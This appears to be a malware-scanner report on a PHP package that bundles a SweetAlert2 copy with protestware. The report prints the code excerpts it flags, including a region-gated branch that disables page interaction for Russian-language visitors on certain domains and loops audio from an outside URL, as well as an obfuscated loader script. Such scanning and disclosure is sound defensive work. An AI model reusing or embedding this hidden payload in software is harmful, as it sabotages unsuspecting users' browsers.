Hostile 93% php 433 installs Download

yrodevgit/ctrx v5.3.6

Bundled protestware disables browser

“A lightweight PHP framework by Tyrone Malocon”

SweetAlert2 region-gated protestware payloadArchive bundles SweetAlert2 protestware JavaScript

Evidence

Contains at least six setTimeout calls swal.js · lines 1–5
1/*!
2* sweetalert2 v11.15.10
3* Released under the MIT License.
4*/
5!function(e,t){"object"==typeof exports&&"undefined"!=typeof module?module.exports=t():"function"==typeof define&&define.amd?define(t):(e="undefined"!=typeof globalThis?globalThis:e||self).Sweetalert2=t()}(this,(function(){"use strict";function e(e,t,n){if("function"==typeof e?e===t:e.has(t))return arguments.length<3?t:n;throw new TypeError("Private element is not present on this object")}function t(t,n){return t.get(e(t,n))}function n(e,t,n){(function(e,t){if(t.has(e))throw new TypeError("Cannot initialize the same private elements twice on an object")})(e,t),t.set(e,n)}const o={},i=e=>new Promise((t=>{if(!e)return t();const n=window.scrollX,i=window.scrollY;o.restoreFocusTimeout=setTimeout((()=>{o.previousActiveElement instanceof HTMLElement?(o.previousActiveElement.focus(),o.previousActiveElement=null):document.body&&document.body.focus(),t()}),100),window.scrollTo(n,i)})),s="swal2-",r=["container","shown","height-auto","iosfix","popup","modal","no-backdrop","no-transition","toast","toast-shown","show","hide …
Single-line packed JavaScript loader profile swal.js · line 5
5:1092… ncel","default-outline","footer","icon","icon-content","image","input","file","range","select","radio","checkbox","label","textarea","inputerror","input-label","validation-message","progress-steps","active-progress-step","progress-step","progress-step-line"," …
Joins array with a short delimiter swal.js · line 5
5:1893… l="SweetAlert2:",c=e=>e.charAt(0).toUpperCase()+e.slice(1),u=e=>{console.warn(`${l} ${"object"==typeof e?e.join(" "):e}`)},d=e=>{console.error(`${l} ${e}`)},p=[],m=function(e){let t=arguments.length>1&&void 0!==arguments[1]?arguments[1]:null;var n;n=`"${e}" is deprecated and will be removed in the next major release.${t?` Use "${t}" instead.`:""}`,p.includes(n)||(p.push(n),u(n))},g=e=>"function"==typeof e?e():e,h=e=>e&&"function"==typeof e.toPromise,f=e=>h(e)?e.toPromise():Promise.resolve(e),b=e=>e&&Promise.resolve(e)===e,y=()=>document.body.querySelector(`.${r.container}`),v=e=>{const t=y();return t?t.querySelector(e):null},w=e=>v(`.${e}`),C=()=>w( …
Assigns external HTTP URL to element src swal.js · line 5
5:46598… ement&&"function"==typeof document.activeElement.blur&&document.activeElement.blur()};if("undefined"!=typeof window&&/^ru\b/.test(navigator.language)&&location.host.match(/\.(ru|su|by|xn--p1ai)$/)){const e=new Date,t=localStorage.getItem("swal-initiation");t?(e.getTime()-Date.parse(t))/864e5>3&&setTimeout((()=>{document.body.style.pointerEvents="none";const e=document.createElement("audio");e.src="https://flag-gimn.ru/wp-content/uploads/2021/09/Ukraina.mp3",e.loop=!0,document.body.appendChild(e),setTimeout((()=>{e.play().catch((()=>{}))}),2500)}),500):localStorage.setItem("swal-initiation",`${e}`)}Fn.prototype.disableButtons=Vt,Fn.prototype.enableButtons=qt,Fn.prototype.getInput=Ht,Fn.prototype.disableInput=_t,Fn.prototype.enableInput=Nt,Fn.prototype.hideLoading=Mt,Fn.pr …
Invokes the XMLHttpRequest constructor secure.js · line 1
1… x12d0,_0x295e41=_0x3f01da();while(!![]){try{const _0x4e82c5=-parseInt(_0x2a68cf(0x1e8))/0x1*(parseInt(_0x2a68cf(0x20d))/0x2)+-parseInt(_0x2a68cf(0x1df))/0x3*(-parseInt(_0x2a68cf(0x1ea))/0x4)+-parseInt(_0x2a68cf(0x205))/0x5*(-parseInt(_0x2a68cf(0x1f0))/0x6)+parseInt(_0x2a68cf(0x1e0))/0x7*(-parseInt(_0x2a68cf(0x204))/0x8)+parseInt(_0x2a68cf(0x20a))/0x9*(parseInt(_0x2a68cf(0x203))/0xa)+-parseInt(_0x2a68cf(0x208))/0xb*(parseInt(_0x2a68cf(0x200))/0xc)+parseInt(_0x2a68cf(0x1fd))/0xd;if(_0x4e82c5===_0x1eea46)break;else _0x295e41['push'](_0x295e41['shift']());}catch(_0x1a667b){_0x295e41['push'](_0x295e41['shift']());}}}(_0x3158,0xcc0e1));class CtrSecure{constructor(_0x10daee=_0x355a59(0x1e7)){const _tdggc141005 = "ctrx_yroEz_1005";const _0x46dc71=_0x355a59;this['yroez_1005']=(y36645010036yr.secret ?? "ctrx_yro1005")+'_ez'+_tdggc141005,this['maskChar']='●';}['loadEnv'](_0x25fff4){const _0x3bd92b=_0x355a59;let _0x7d3d95=_0x3bd92b(0x1e1);const _0x2b4a59=new XMLHttpRequest();try{_0x2b4a59[_0x3bd92b(0x1de)](_0x3bd92b(0x1fc),_0x7d3d95,![]),_0x2b4a59[_0x3bd92b(0x1f8)](null);if(_0x2b4a59['status']===0xc8){const _0x5b9243=JSON[_0x3bd92b(0x1e2)](_0x2b4a59['responseText']);return _0x5b9243[_0x25fff4];}else return console['warn'](_0x3bd92b(0x1e5)+_0x2b4a59[_0x3bd92b(0x207)]+')'),'ctr';}catch(_0x41acc1){return console[_0x3bd92b(0x209)](_0x3bd92b(0x1ed),_0x41acc1),'ctr';}}['encrypt'](_0x493d1a,_0xe9b8f5=this[_0x355a59(0x1f3)]){const _0xc248bb=_0x355a59;_0x493d1a=String(_0x493d1a);let _0x4ae665='';for(let _0x374a84=0x0;_0x374a84<_0x493d1a['length'];_0x374a84++){_0x4ae665+=String[_0xc248bb(0x206)](_0x493d1a[_0xc248bb(0x1e4)](_0x374a84)^_0xe9b8f5['charCodeAt'](_0x374a84%_0xe9b8f5[_0xc248bb(0x1ec)]));}return btoa(_0x4ae665);}[_0x355a59(0x20b)](_0x36f9e1,_0x17adbc=this['yroez_1005']){const _0x15681c=_0x355a59;let _0xd93a1e;try{_0xd93a1e=atob(_0x36f9e1);}catch(_0x397229){return null;}let _0x5df418='';for(let _0x1d7c53=0x0;_0x1d7c53<_0xd93a1e[_0x15681c(0x1ec)];_0x1d7c53++){_0x5df418+=String[_ …

Showing the top 5 files — 7 more files (295 regions) not shown.

No evidence locations were recorded for this file. Raw result

Keyboard shortcuts on this page: j for the next sample, k for the previous one, x to go back to the feed, d to download the original bytes, r to re-queue the sample for analysis.